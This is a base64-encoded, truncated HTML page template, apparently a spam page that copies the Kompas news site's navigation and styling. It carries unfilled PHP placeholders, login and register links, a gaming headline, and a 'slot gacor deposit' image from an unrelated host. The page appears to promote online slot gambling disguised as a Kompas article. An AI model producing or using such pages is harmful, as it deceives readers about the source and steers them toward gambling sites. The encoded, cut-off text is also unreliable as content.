VibGluayI+TGl0ZXJhc2k8L2E+ICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iLyIgY2xhc3M9Im5hdl9fc3VibGluayI+U2tvbGE8L2E+ICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iLyIgY2xhc3M9Im5hdl9fc3VibGluayBuYXZfX3N1YmxpbmstLWhvdCI+S2lsYXMgUGVuZGlkaWthbjwvYT4gICAgICAgIAogICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9Ii8iIGNsYXNzPSJuYXZfX3N1YmxpbmsgbmF2X19zdWJsaW5rLS1ob3QiPklkZUFrc2k8L2E+ICAgICAgICAKICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICA8L2xpPgogICAgICAgIDwvdWw+CiAgICA8L2xpPgogICAgPGxpIGNsYXNzPSJuYXZfX2l0ZW0iPgogICAgICAgIDxhIGhyZWY9Ii8iIGNsYXNzPSJuYXZfX2xpbmsgbmF2X19saW5rLS10cmF2ZWwiPlRyYXZlbDwvYT4KICAgICAgICA8dWwgY2xhc3M9Im5hdl9fc3ViIG5hdl9fc3ViLS10cmF2ZWwiPgogICAgICAgICAgICA8bGkgY2xhc3M9Im5hdl9fc3Vid3JhcCI+CiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJuYXZfX3N1Yml0ZW0iPgogICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9Ii8iIGNsYXNzPSJuYXZfX3N1YmxpbmsiPlRyYXZlbCBOZXdzPC9hPgogICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9Ii8iIGNsYXNzPSJuYXZfX3N1YmxpbmsiPlRyYXZlbCBJZGVhczwvYT4KICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSIvIiBjbGFzcz0ibmF2X19zdWJsaW5rIj5Ib3RlbCBTdG9yeTwvYT4KICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSIvIiBjbGFzcz0ibmF2X19zdWJsaW5rIj5UcmF2ZWxwZWRpYTwvYT4KICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ibmF2X19zdWJpdGVtIj4KICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSIvIiBjbGFzcz0ibmF2X19zdWJsaW5rIj5Gb29kPC9hPgogICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9Ii8iIGNsYXNzPSJuYXZfX3N1YmxpbmsiPk9oYXlvIEplcGFuZzwvYT4KICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSIvIiBjbGFzcz0ibmF2X19zdWJsaW5rIj5JbmRla3M8L2E+CiAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgPC9saT4KICAgICAgICA8L3VsPgogICAgPC9saT4KICAgIDxsaSBjbGFzcz0ibmF2X19pdGVtIj4KICAgICAgICA8YSBocmVmPSIvIiBjbGFzcz0ibmF2X19saW5rIG5hdl9fbGluay0tbGFpbm55YSI+PHNwYW4gY2xhc3M9Imljb0Jhc2UgaWNvSW5saW5lIGljb0J1cmdlciIgYXJpYS1sYWJlbD0iTGFpbm55YSIgdGl0bGU9IkxhaW5ueWEiPjwvc3Bhbj48L2E+CiAgICAgICAgPHVsIGNsYXNzPSJuYXZfX3N1YiBuYXZfX3N1Yi0tbGFpbm55YSI+CiAgICAgICAgICAgIDxsaSBjbGFzcz0ibmF2X19zdWJ3cmFwIj4KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Im5hdl9fc3ViaXRlbSI+CiAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iLyIgY2xhc3M9Im5hdl9fc3VibGluayI+VmlkZW88L2E+CiAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iLyIgY2xhc3M9Im5hdl9fc3VibGluayI+UGFyYXB1YW48L2E+CiAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iLyIgY2xhc3M9Im5hdl9fc3VibGluayI+S29sb208L2E+CiAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iLyIgY2xhc3M9Im5hdl9fc3VibGluayI+U2FpbnM8L2E+CiAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Im5hdl9fc3ViaXRlbSI+CiAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iLyIgY2xhc3M9Im5hdl9fc3VibGluayI+SkVPPC9hPgogICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9Ii8iIGNsYXNzPSJuYXZfX3N1YmxpbmsiPkZvdG88L2E+CiAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iLyIgY2xhc3M9Im5hdl9fc3VibGluayI+VklLPC9hPgogICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9Ii8iIGNsYXNzPSJuYXZfX3N1YmxpbmsiPkthdGEgTmV0aXplbjwvYT4KICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICA8L2xpPgogICAgICAgIDwvdWw+CiAgICA8L2xpPgo8L3VsPgoKPGEgaHJlZj0iPD89ICRhbXBodG1sID8+IiByZWw9Im5vZm9sbG93ImNsYXNzPSJtZW51LXBsdXMtc3RpY2t5Ij5NZW1iZXJzaGlwIDw/PSAkYnJhbmR1cHBlciA/PjwvYT4KCjwhLS0gY3NzIHN1YmxpbmsgbmF2IC0tPgo8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vYXNzZXQua29tcGFzLmNvbS9kYXRhLzIwMjUvbnVzYXRpcnRhL2Rlc2t0b3AvY3NzL3N1Ym1lbnUtbnVzYXRpcnRhLmNzcyI+Cgo8dWwgaWQ9Imxlc3RhcmlNZW51IiBjbGFzcz0ibmF2X19zdWIgbmF2X19zdWItLWxlc3RhcmkgbmF2U3ViIj4KICAgIDxsaSBjbGFzcz0ibmF2U3ViLWNvbCAtLWNvbDEiPgogICAgICAgIDx1bCBjbGFzcz0ibmF2U3ViLWlubmVyIj4KICAgICAgICAgICAgICAgIDxsaT48YSBocmVmPSIvIj5QZW1lcmludGFoPC9hPjwvbGk+CiAgICAgICAgICAgICAgICA8bGk+PGEgaHJlZj0iLyI+U3dhc3RhPC9hPjwvbGk+CiAgICAgICAgICAgICAgICA8bGk+PGEgaHJlZj0iLyI+TFNNL0ZpZ3VyPC9hPjwvbGk+CiAgICAgICAgICAgICAgICA8bGk+PGEgaHJlZj0iLyI+QlVNTjwvYT48L2xpPgogICAgICAgICAgICAgICAgPGxpPjxhIGhyZWY9Ii8iPlVNS008L2E+PC9saT4KICAgICAgICAgICAgICAgIDxsaT48YSBocmVmPSIvIiBjbGFzcz0ibmF2X19zdWJsaW5rLS1ob3QiPk51c2F0aXJ0YTwvYT48L2xpPgogICAgICAgIDwvdWw+CiAgICA8L2xpPgogICAgPGxpIGNsYXNzPSJuYXZTdWItY29sIC0tY29sMiI+CiAgICAgICAgPGRpdiBjbGFzcz0ibmF2U3ViLXN1YmNvbCAtLXN1YmNvbCI+CiAgICAgICAgICAgIDxkaXYgY2xhc3M9Im5hdlN1Yi1ncnVwIj48YSBocmVmPSIvIj5LZXNlaGF0YW48L2E+PC9kaXY+CiAgICAgICAgICAgIDx1bCBjbGFzcz0ibmF2U3ViLWlubmVyIj4KICAgICAgICAgICAgICAgIDxsaT48YSBocmVmPSIvIj5LZWhpZHVwYW4gc2VoYXQgZGFuIHNlamFodGVyYTwvYT48L2xpPgogICAgICAgICAgICAgICAgPGxpPjxhIGhyZWY9Ii8iPkFpciBiZXJzaWggZGFuIHNhbml0YXNpIGxheWFrPC9hPjwvbGk+CiAgICAgICAgICAgIDwvdWw+CiAgICAgICAgICAgIDxkaXYgY2xhc3M9Im5hdlN1Yi1ncnVwIj48YSBocmVmPSIvIj5QZW5kaWRpa2FuPC9hPjwvZGl2PgogICAgICAgICAgICA8dWwgY2xhc3M9Im5hdlN1Yi1pbm5lciI+CiAgICAgICAgICAgICAgICA8bGk+PGEgaHJlZj0iLyI+UGVuZGlkaWthbiBCZXJrdWFsaXRhczwvYT48L2xpPgogICAgICAgICAgICA8L3VsPgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJuYXZTdWItZ3J1cCI+PGEgaHJlZj0iLyI+TGluZ2t1bmdhbjwvYT48L2Rpdj4KICAgICAgICAgICAgPHVsIGNsYXNzPSJuYXZTdWItaW5uZXIiPgogICAgICAgICAgICAgICAgPGxpPjxhIGhyZWY9Ii8iPkVuZXJnaSBCZXJzaWggZGFuIFRlcmphbmdrYXU8L2E+PC9saT4KICAgICAgICAgICAgICAgIDxsaT48YSBocmVmPSIvIj5QZW5hbmdhbmFuIFBlcnViYWhhbiBJa2xpbTwvYT48L2xpPgogICAgICAgICAgICAgICAgPGxpPjxhIGhyZWY9Ii8iPkVrb3Npc3RlbSBMYXV0YW48L2E+PC9saT4KICAgICAgICAgICAgICAgIDxsaT48YSBocmVmPSIvIj5Fa29zaXN0ZW0gRGFyYXRhbjwvYT48L2xpPgogICAgICAgICAgICA8L3VsPgogICAgICAgIDwvZGl2PgogICAgICAgIDxkaXYgY2xhc3M9Im5hdlN1Yi1zdWJjb2wgLS1zdWJjb2wiPgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJuYXZTdWItZ3J1cCI+PGEgaHJlZj0iLyI+RWtvbm9taSBkYW4gVU1LTTwvYT48L2Rpdj4KICAgICAgICAgICAgPHVsIGNsYXNzPSJuYXZTdWItaW5uZXIiPgogICAgICAgICAgICAgICAgPGxpPjxhIGhyZWY9Ii8iPlRhbnBhIEtlbWlza2luYW48L2E+PC9saT4KICAgICAgICAgICAgICAgIDxsaT48YSBocmVmPSIvIj5UYW5wYSBLZWxhcGFyYW48L2E+PC9saT4KICAgICAgICAgICAgICAgIDxsaT48YSBocmVmPSIvIj5LZXNldGFyYWFuIEdlbmRlcjwvYT48L2xpPgogICAgICAgICAgICAgICAgPGxpPjxhIGhyZWY9Ii8iPlBla2VyamFhbiBMYXlhayBkYW4gUGVydHVtYnVoYW4gZWtvbm9taTwvYT48L2xpPgogICAgICAgICAgICAgICAgPGxpPjxhIGhyZWY9Ii8iPkluZHVzdHJpLCBJbm92YXNpICZhbXA7IEluZnJhc3RydWt0dXI8L2E+PC9saT4KICAgICAgICAgICAgICAgIDxsaT48YSBocmVmPSIvIj5CZXJrdXJhbmdueWEgS2VzZW5qYW5nYW48L2E+PC9saT4KICAgICAgICAgICAgICAgIDxsaT48YSBocmVmPSIvIj5Lb3RhICZhbXA7IFBlbXVraW1hbiB5YW5nIEJlcmtlbGFuanV0YW48L2E+PC9saT4KICAgICAgICAgICAgICAgIDxsaT48YSBocmVmPSIvIj5Lb25zdW1zaSAmYW1wOyBQcm9kdWtzaSB5YW5nIGJlcnRhbmdndW5namF3YWI8L2E+PC9saT4KICAgICAgICAgICAgPC91bD4KICAgICAgICA8L2Rpdj4KICAgIDwvbGk+CiAgICA8bGkgY2xhc3M9Im5hdlN1Yi1jb2wgLS1jb2wzIj4KICAgICAgICA8ZGl2IGNsYXNzPSJuYXZTdWItbGFiZWwiPlBST0dSQU0gTEVTVEFSSTwvZGl2PgogICAgICAgIDx1bCBjbGFzcz0ibmF2U3ViLWlubmVyIj4KICAgICAgICAgICAgPGxpPgogICAgICAgICAgICAgICAgPGEgaHJlZj0iLyIgY2xhc3M9Im5hdkxlc3RhcmlQcm9ncmFtIj4KICAgICAgICAgICAgICAgICAgICA8aW1nIHNyYz0iaHR0cHM6Ly9hc3NldC5rb21wYXMuY29tL2RhdGEvMjAyMy8wMi8yMTA5L2tvbXBhc2NvbS9kZXNrdG9wL2ltYWdlcy9sZXN0YXJpL2xvZ28tamFnb2FuLWxva2FsLnBuZyIgYWx0PSJDYW50aWtwcmVuZXVyc2hpcCI+CiAgICAgICAgICAgICAgICA8L2E+CiAgICAgICAgICAgIDwvbGk+CiAgICAgICAgICAgIDxsaT4KICAgICAgICAgICAgICAgIDxhIGhyZWY9Ii8iIGNsYXNzPSJuYXZMZXN0YXJpUHJvZ3JhbSI+CiAgICAgICAgICAgICAgICAgICAgPGltZyBzcmM9Imh0dHBzOi8vYXNzZXQua29tcGFzLmNvbS9kYXRhLzIwMjMvMDIvMjEwOS9rb21wYXNjb20vZGVza3RvcC9pbWFnZXMvbGVzdGFyaS9sb2dvLWplcm5paGthbi1idW1pLnBuZyIgYWx0PSJKZXJuaWhrYW4gQnVtaSI+CiAgICAgICAgICAgICAgICA8L2E+CiAgICAgICAgICAgIDwvbGk+CiAgICAgICAgICAgIDxsaT4KICAgICAgICAgICAgICAgIDxhIGhyZWY9Ii8iIGNsYXNzPSJuYXZMZXN0YXJpUHJvZ3JhbSI+CiAgICAgICAgICAgICAgICAgICAgPGltZyBzcmM9Imh0dHBzOi8vYXNzZXQua29tcGFzLmNvbS9kYXRhLzIwMjMvMDIvMjEwOS9rb21wYXNjb20vZGVza3RvcC9pbWFnZXMvbGVzdGFyaS9sb2dvLWplcm5paGthbi1oYXJhcGFuLnBuZyIgYWx0PSJKZXJuaWhrYW4gSGFyYXBhbiI+CiAgICAgICAgICAgICAgICA8L2E+CiAgICAgICAgICAgIDwvbGk+CiAgICAgICAgICAgIDxsaT4KICAgICAgICAgICAgICAgIDxhIGhyZWY9Ii8iIGNsYXNzPSJuYXZMZXN0YXJpUHJvZ3JhbSI+CiAgICAgICAgICAgICAgICAgICAgPGltZyBzcmM9Imh0dHBzOi8vYXNzZXQua29tcGFzLmNvbS9kYXRhLzIwMjMvMDIvMjEwOS9rb21wYXNjb20vZGVza3RvcC9pbWFnZXMvbGVzdGFyaS9sb2dvLWZlc3RpdmFsLWNlYmFuLnBuZyIgYWx0PSJGZXN0aXZhbCBDZWJhbiI+CiAgICAgICAgICAgICAgICA8L2E+CiAgICAgICAgICAgIDwvbGk+CiAgICAgICAgICAgIDxsaT4KICAgICAgICAgICAgICAgIDxhIGhyZWY9Ii8iIGNsYXNzPSJuYXZMZXN0YXJpUHJvZ3JhbSI+IAogICAgICAgICAgICAgICAgICAgIDxpbWcgc3JjPSJodHRwczovL2Fzc2V0LmtvbXBhcy5jb20vZGF0YS8yMDIzLzA2LzA3L2tvbXBhc2NvbS9kZXNrdG9wL2xlc3RhcmkvaW1hZ2VzL2xvZ29fZ2F0ZV9qdXJuYWxpc21lLnBuZyIgYWx0PSJKdXJuYWxpc21lIEJlcmtlYmFuZ3NhYW4iPgogICAgICAgICAgICAgICAgPC9hPgogICAgICAgICAgICA8L2xpPgogICAgICAgICAgICA8bGk+CiAgICAgICAgICAgICAgICA8YSBocmVmPSIvIiBjbGFzcz0ibmF2TGVzdGFyaVByb2dyYW0iPiAKICAgICAgICAgICAgICAgICAgICA8aW1nIHNyYz0iaHR0cHM6Ly9hc3NldC5rb21wYXMuY29tL2RhdGEvMjAyMy8wNi8yMi9rb21wYXNjb20vbW9iaWxlL2xlc3RhcmkvaW1hZ2VzL2xvZ28tZ2VuZXJhc2liYW5na2l0LnN2Zz92PTEiIGFsdD0iR2VuZXJhc2kgQmFuZ2tpdCI+CiAgICAgICAgICAgICAgICA8L2E+CiAgICAgICAgICAgIDwvbGk+CiAgICAgICAgPC91bD4KICAgICAgICA8YSBjbGFzcz0ibmF2U3ViLW1vcmUiIGhyZWY9Ii8iPkxpaGF0IHNlbXVhPC9hPgogICAgPC9saT4KPC91bD4KICAKICAgICAgICA8L2Rpdj4KICAgICAgICA8IS0tIHNoYXJlLS0+CiAgICAgICAgPGRpdiBjbGFzcz0ic29jaWFsIHNvY2lhbC0tZml4ZWQgY2xlYWZpeCI+CiAgICA8ZGl2IGNsYXNzPSJzb2NpYWwtLWNvbnRhaW5lciBjb250YWluZXIiPgogICAgICAgIDwhLS0gc2hhcmUgLS0+CiAgICAgICAgPHNwYW4gY2xhc3M9InNvY2lhbC0tdGV4dCI+QmFnaWthbjo8L3NwYW4+CiAgICAgICAgPGRpdiBjbGFzcz0ic29jaWFsIHNvY2lhbC0tYXJ0aWNsZSBjbGVhcmZpeCI+CiAgICAgICAgICAgIDxkaXYgY2xhc3M9InNvY2lhbF9faXRlbSI+CiAgICAgICAgICAgICAgICA8YSBjbGFzcz0ic29jaWFsX19saW5rIHNvY2lhbF9fbGluay0tZmFjZWJvb2siIGhyZWY9Ii8iPgogICAgICAgICAgICAgICAgICAgIDxzdmcgY2xhc3M9Imljb24gaWNvbi1mYWNlYm9vayIgdGl0bGU9Imljb24tZmFjZWJvb2siPgogICAgICAgICAgICAgICAgICAgICAgICA8dXNlIHhsaW5rOmhyZWY9IiNpY29uLWZhY2Vib29rIi8+PC91c2U+CiAgICAgICAgICAgICAgICAgICAgPC9zdmc+CiAgICAgICAgICAgICAgICA8L2E+CiAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ic29jaWFsX19pdGVtIj4KICAgICAgICAgICAgICAgICAgICA8YSBjbGFzcz0ic29jaWFsX19saW5rIHNvY2lhbF9fbGluay0tdHdpdHRlciIgaHJlZj0iLyI+CiAgICAgICAgICAgICAgICAgICAgICAgIDxzdmcgY2xhc3M9Imljb24gaWNvbi10d2l0dGVyIiB0aXRsZT0iaWNvbi10d2l0dGVyIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx1c2UgeGxpbms6aHJlZj0iI2ljb24tdHdpdHRlciIvPjwvdXNlPgogICAgICAgICAgICAgICAgICAgICAgICA8L3N2Zz4KICAgICAgICAgICAgICAgICAgICA8L2E+CiAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ic29jaWFsX19pdGVtIj4KICAgICAgICAgICAgICAgIDxhIGNsYXNzPSJzb2NpYWxfX2xpbmsgc29jaWFsX19saW5rLS13aGF0c2FwcCIgaHJlZj0iLyI+CiAgICAgICAgICAgICAgICAgICAgPHN2ZyBjbGFzcz0iaWNvbiBpY29uLXdoYXRzYXBwIiB0aXRsZT0iaWNvbi13aGF0c2FwcCI+CiAgICAgICAgICAgICAgICAgICAgICAgIDx1c2UgeGxpbms6aHJlZj0iI2ljb24td2hhdHNhcHAiPjwvdXNlPgogICAgICAgICAgICAgICAgICAgIDwvc3ZnPgogICAgICAgICAgICAgICAgPC9hPgogICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgPGRpdiBjbGFzcz0ic29jaWFsX19pdGVtIj4KICAgICAgICAgICAgICAgIDxhIGNsYXNzPSJzb2NpYWxfX2xpbmsgc29jaWFsX19saW5rLS10ZWxlZ3JhbSIgaHJlZj0iLyI+CiAgICAgICAgICAgICAgICAgICAgPHN2ZyBjbGFzcz0iaWNvbiBpY29uLXRlbGVncmFtIiB0aXRsZT0iaWNvbi10ZWxlZ3JhbSI+CiAgICAgICAgICAgICAgICAgICAgICAgIDx1c2UgeGxpbms6aHJlZj0iI2ljb24tdGVsZWdyYW0iPjwvdXNlPgogICAgICAgICAgICAgICAgICAgIDwvc3ZnPgogICAgICAgICAgICAgICAgPC9hPgogICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgPGRpdiBjbGFzcz0ic29jaWFsX19pdGVtIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSBjbGFzcz0ic29jaWFsX19saW5rIHNvY2lhbF9fbGluay0tY29weSIgaHJlZj0iLyIgc3R5bGU9ImRpc3BsYXk6IG5vbmU7Ij4KICAgICAgICAgICAgICAgICAgICA8c3ZnIGNsYXNzPSJpY29uIGljb24tY29weSIgdGl0bGU9Imljb24tY29weSI+CiAgICAgICAgICAgICAgICAgICAgICAgIDx1c2UgeGxpbms6aHJlZj0iI2ljb24tY29weSIvPjwvdXNlPgogICAgICAgICAgICAgICAgICAgIDwvc3ZnPgogICAgICAgICAgICAgICAgPC9hPgogICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgCiAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICA8cCBjbGFzcz0ic29jaWFsLS1kc2hhcmUiIGlkPSJkc2hhcmV0aXRsZSI+PD89ICRicmFuZHVwcGVyID8+OiBTZW5zYXNpIER1bmlhIEdhbWUgT25saW5lIGRlbmdhbiBTaXN0ZW0gUGVybWFpbmFuIEFkYXB0aWY8L3A+CiAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iY29tbWVudF9fcmVhZF9fYmFyIj4KICAgICAgICAgICAgPHNwYW4+S29tZW50YXI6IDwvc3Bhbj4KICAgICAgICAgICAgPGRpdiBjbGFzcz0ic29jaWFsIHNvY2lhbC0tYXJ0aWNsZSBjbGVhcmZpeCI+CiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJzb2NpYWxfX2l0ZW0iPgogICAgICAgICAgICAgICAgICAgIDxhIGNsYXNzPSJzb2NpYWxfX2xpbmsiIGhyZWY9Ii8iPgogICAgICAgICAgICAgICAgICAgICAgICA8c3BhbiBjbGFzcz0iaWNvbiBpY29uLWNvbW1lbnQiPjwvc3Bhbj4gCiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbW1lbnRfX2NvdW50ZXIgdG90YWxfY29tbWVudCI+PC9kaXY+CiAgICAgICAgICAgICAgICAgICAgPC9hPgogICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgIDwvZGl2PgogICAgICAgIDwvZGl2PgogICAgICAgICAgICA8L2Rpdj4KPC9kaXY+CiAgICA8L2Rpdj4KPC9kaXY+CgoKCgo8c2NyaXB0IHNyYz0iaHR0cHM6Ly9hc3NldC5rb21wYXMuY29tL2RhdGEvMjAyMy8xMS8wMy9kYXJrbW9kZS9qcy9kYXJrLW1vZGUubWluLmpzIiB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPjwvc2NyaXB0PgoKCiAgICA8IS0tIChhZHMuc2tpbikgLS0+CiAgICAgICAgCiAgICA8IS0tIGNvbnRhaW5lci0tPgogICAgPGRpdiBjbGFzcz0iY29udGFpbmVyIGNsZWFyZml4ICI+CgoKPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPgogIC8vIERhZnRhciBVUkwgd2lkZ2V0CiAgdmFyIHdpZGdldFVybHMgPSBbCiAgIC8vICJodHRwczovL2Fkc2ltZy5rb21wYXMuY29tL2h0bWw1L2ludGVybmFsL2xlc3Rhcmkvd2lkZ2V0MjAyNS9kZXNrdG9wL3dpZGdldC5odG1sIiwKICAgICJodHRwczovL3dpZGdldC5rb21wYXMuY29tL2phZ2FfbmVnZXJpIgogIF07CgogIC8vIEZ1bmdzaSB1bnR1ayBtZW1pbGloIFVSTCBhY2FrIGRhcmkgYXJyYXkgd2lkZ2V0VXJscwogIGZ1bmN0aW9uIGdldFJhbmRvbVdpZGdldFVybCgpIHsKICAgIHJldHVybiB3aWRnZXRVcmxzW01hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqIHdpZGdldFVybHMubGVuZ3RoKV07CiAgfQoKICAvLyBNZW55aXNpcGthbiBVUkwgYWNhayBrZSBkYWxhbSBhdHJpYnV0IHNyYyBkYXJpIGlmcmFtZQogIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJyYW5kb21JZnJhbWUiKS5zcmMgPSBnZXRSYW5kb21XaWRnZXRVcmwoKTsKPC9zY3JpcHQ+CgogICAgICAgICAgICAgICAgCiAgICAgICAgPCEtLSAoYWRzLmZvY3VzLnVwZGF0ZSkgLS0+CiAgICAgICAgCiAgICAgICAgPCEtLSByZWFkLS0+CjxkaXYgY2xhc3M9InJvdyBtdDIgY29sLW9mZnNldC1mbHVpZCBjbGVhcmZpeCI+CiAgICA8ZGl2IGNsYXNzPSJjb2wtYnMxMC0xMCI+CiAgICAgICAgPCEtLSB0YWdnaW5nLS0+CiAgICAgICAgCiAgICAgICAgPCEtLSBicmVhZGNydW1iLS0+CiAgICAgICAgPCEtLSBicmVhZGNydW1iLS0+CjxkaXYgY2xhc3M9ImJyZWFkY3J1bWIgY2xlYXJmaXgiPgogICAgCjwvZGl2PiAgICAgICAgCiAgICAgICAgCiAgICAgICAgPCEtLSB0b3BpayBwaWxpaGFuIC0tPgogICAgICAgICAKCiAgICAgICAgPCEtLSAoYWRzLmhlYWRlcikgLS0+CiAgICAgICAgCiAgICAgICAgCiAgICAgICAgCiAgICAgICAgCiAgICAgICAgPCEtLSByZWFkIHRpdGxlLS0+CiAgICAgICAgPGgxIGNsYXNzPSJyZWFkX190aXRsZSI+PD89ICRicmFuZHVwcGVyID8+OiBTZW5zYXNpIER1bmlhIEdhbWUgT25saW5lIGRlbmdhbiBTaXN0ZW0gUGVybWFpbmFuIEFkYXB0aWY8L2gxPgogICAgPC9kaXY+CjwvZGl2PgoKPCEtLSByZWFkLS0+CiA8ZGl2IGNsYXNzPSJuLWNvbHVtbnMtMiI+CgkJCTxhIGhyZWY9Ijw/PSAkYW1waHRtbCA/PiIgcmVsPSJub2ZvbGxvdyBub3JlZmVycmVyIiBjbGFzcz0ibG9naW4iPkxPR0lOPC9hPgoJCQk8YSBocmVmPSI8Pz0gJGFtcGh0bWwgPz4iIHJlbD0ibm9mb2xsb3cgbm9yZWZlcnJlciIgY2xhc3M9InJlZ2lzdGVyIj5SRUdJU1RFUjwvYT4KCQkgIDwvZGl2PgoJCSAgPC9icj4KICAgICAgICAgIDxkaXYgY2xhc3M9ImZsZXggZ2FwLTEwIiBpZD0icHJvZHVjdC1kZXRhaWwiPgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJ3LWZ1bGwgb3ZlcmZsb3ctYXV0byI+CiAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iZmxleCBnYXAtNiBqdXN0aWZ5LWJldHdlZW4gZmxleC1yb3ciPgogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iZmxleCBmbGV4LWNvbCB3LWZ1bGwgbWF4LXctWzc3NHB4XSI+CiAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InctWzM3NHB4XSBteC1hdXRvIj4KICAgICAgICAgICAgICAgICAgICA8ZGl2IGlkPSJtY2lzLXByb2R1Y3QtaW1hZ2UtcGRwIj4KICAgICAgICAgICAgICAgICAgICAgIDxkaXY+CjxkaXYgY2xhc3M9InJvdyBjb2wtb2Zmc2V0LWZsdWlkIGNsZWFyZml4IGpzLWdpYW50LXdwLXN0aWNreS1wYXJlbnQiPgogICAgPGRpdiBjbGFzcz0iY29sLWJzMTAtNyBqcy1yZWFkLWFydGljbGUiPgogICAgICAgIDwhLS0gcmVhZCBoZWFkZXItLT4KICAgICAgICA8ZGl2IGNsYXNzPSJyZWFkX19oZWFkZXIgY29sLW9mZnNldC1mbHVpZCBjbGVhcmZpeCI+CiAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbC1iczEwLTEwIj4KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InJlYWRfX3RpbWUiPjxhIGhyZWY9Ijw/PSAkY2Fub25pY2FsID8+Ij48Pz0gJGJyYW5kdXBwZXIgPz48L2E+PC9kaXY+CiAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgIAogICAgICAgICAgICA8ZGl2IGNsYXNzPSJjb2wtYnMxMC0xMCI+ICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgPC9kaXY+CiAgICAgICAgPCEtLSBwaG90byBhcnRpa2VsLS0+CiAgICAgICAgIAogCjxsaW5rIHJlbD0ic3R5bGVzaGVldCIgaHJlZj0iaHR0cHM6Ly9hc3NldC5rb21wYXMuY29tL2RhdGEvMjAxNy93cC9jc3Mva2NtMjAxOS1waG90by1hcnRpY2xlLm1pbi5jc3M/dj0xMCIgdHlwZT0idGV4dC9jc3MiPgo8ZGl2IGNsYXNzPSJjb3Zlci1waG90byAtZ2FsbGVyeSIgZGF0YS1waG90b3N0eWxlPSIiPgogICAgPGRpdiBjbGFzcz0icGhvdG9fX3dyYXAiPgogICAgICAgICAgICAgICAgICAgIDxpbWcgd2lkdGg9Ijc4MCIgaGVpZ2h0PSI1MjAiIHNyYz0iaHR0cHM6Ly92cDEudGhldmlsZXByb2plY3QueHl6L2dtYnI2L3Nsb3QtZ2Fjb3ItZGVwb3NpdC0yNS1ib251cy0yNS00LnBuZyI+CiAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgIDwvZGl2Pgo8L2Rpdj4KCjwhLS0gcGhvdG8gY2Fyb3VzZWwgLS0+CjxkaXYgY2xhc3M9InBob3RvQ2Fyb3VzZWwiIHN0eWxlPSJtYXJnaW4tdG9wOiAyJTsiPgogICAgPGRpdiBjbGFzcz0icGhvdG9DYXJvdXNlbC1ibG9jayIgZGF0YS1zY3JvbGw9InNpZGUiPgogICAgICAgIDxkaXYgY2xhc3M9InBob3RvQ2Fyb3VzZWwtd3JhcCBwaG90b0Nhcm91c2VsLXNsaWRlciIgZGF0YS1hY3RpdmU9InNjcm9sbCI+CiAgICAgICAgICAgIAogICAgICAgICAgICA8IS0tIGU6YmFubmVyIG5wcyAtLT4KICAgICAgICA8L2Rpdj4KICAgIDwvZGl2Pgo8L2Rpdj4KICAgICAgICA8IS0tIChhZHMuc2Nyb2xsLmJlbG93KSAtLT4KCiAgICAgICAgPCEtLSAoYWRzLm92ZXJsYXkpIC0tPgogICAgICAgIDwhLS0gKGFkcy5raW9za2VkKSAtLT4KCiAgICAgICAgCiAgICAgICAgPCEtLSAoYWRzLm92ZXJsYXkpIC0tPgoKICAgICAgICA8IS0tIHJlYWQgYXJ0aWtlbC0tPgogICAgICAgIDxkaXYgY2xhc3M9InJlYWRfX2FydGljbGUgbXQyIGNsZWFyZml4IGpzLXRvd2VyLXN0aWNreS1wY